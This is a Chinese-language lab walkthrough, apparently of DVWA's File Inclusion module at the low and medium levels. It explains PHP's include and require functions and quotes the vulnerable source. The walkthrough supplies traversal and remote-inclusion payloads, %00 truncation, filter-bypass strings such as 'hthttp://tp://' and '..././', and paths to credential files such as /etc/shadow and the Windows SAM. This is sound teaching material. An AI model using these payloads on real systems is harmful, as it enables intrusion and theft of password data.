File Inclusion
File Inclusion
利用这个漏洞去包含含有危险函数的危险文件,就会造成信息泄露和恶意代码执行
当服务器开启allow_url_include选项时,就可以通过 php 的某些特性函数(include(),require()和include_once(),require_once())利用 url 去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
include()
只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。
include_once()
和 include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
require()
只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。
require_once()
和 require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen 选项(选项开启之后,服务器允许包含一个远程的文件)。
【low】
服务端源码如下:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
服务器包含相应文件,并将结果返回。无论文件后缀是否是php,都会尝试当做php文件执行。
服务器期望用户的操作是点击下面的三个链接
【漏洞利用】
可读取的文件:
Windows:
c:\boot.ini #查看可供选择的操作系统类别
c:\windows\repair\sam #查看SAM文件 操作系统密码文件
查看PHPinfo.php #php配置文件
Linux:
/etc/passwd #存储的是操作系统用户信息, 该文件为所有用户可见
/etc/shadow #保存账号的密码信息
/etc/resolv.conf #DNS客户机配置文件,用于设置DNS服务器的IP地址及DNS域名
/root/.ssh/known_hosts
/etc/network/interfaces
本地文件包含
在php版本小于5.3.4的服务器中,配置文件Magic_quote_gpc选项为off时,我们可以在文件名中使用%00
进行截断,也就是说文件名中%00后的内容不会被识别,以下两个url完全等效。

使用%00截断
可以绕过某些过滤规则,例如要求page参数的后缀必须为php,这时链接A会读取失败,而链接B可以绕过规则成功读取。
访问服务器存在的文件:

测试用例:?page=../../robots.txt 访问网站根目录下的robots.txt文件
还有可能爆出phpinfo的信息,测试如下: ?page=../../phpinfo.php
访问服务器非网站上的绝对路径下的文件:测试用例:?page=h:/test.txt (在H盘下建立的一个测试文件)
远程文件包含
测试用例 ?page=http://xxx.com/phpinfo.php 通过google hacking 找到一个存在phpinfo.php的站点测试
【medium】
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
多了
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file ); #防止远程文件包含
$file = str_replace( array( "../", "..\"" ), "", $file );
使用str_replace
函数替换 http:// 和 https:// 为空
可以使用“hthttp://tp://”(嵌套),
“..././”,”file:///”方式(绕过)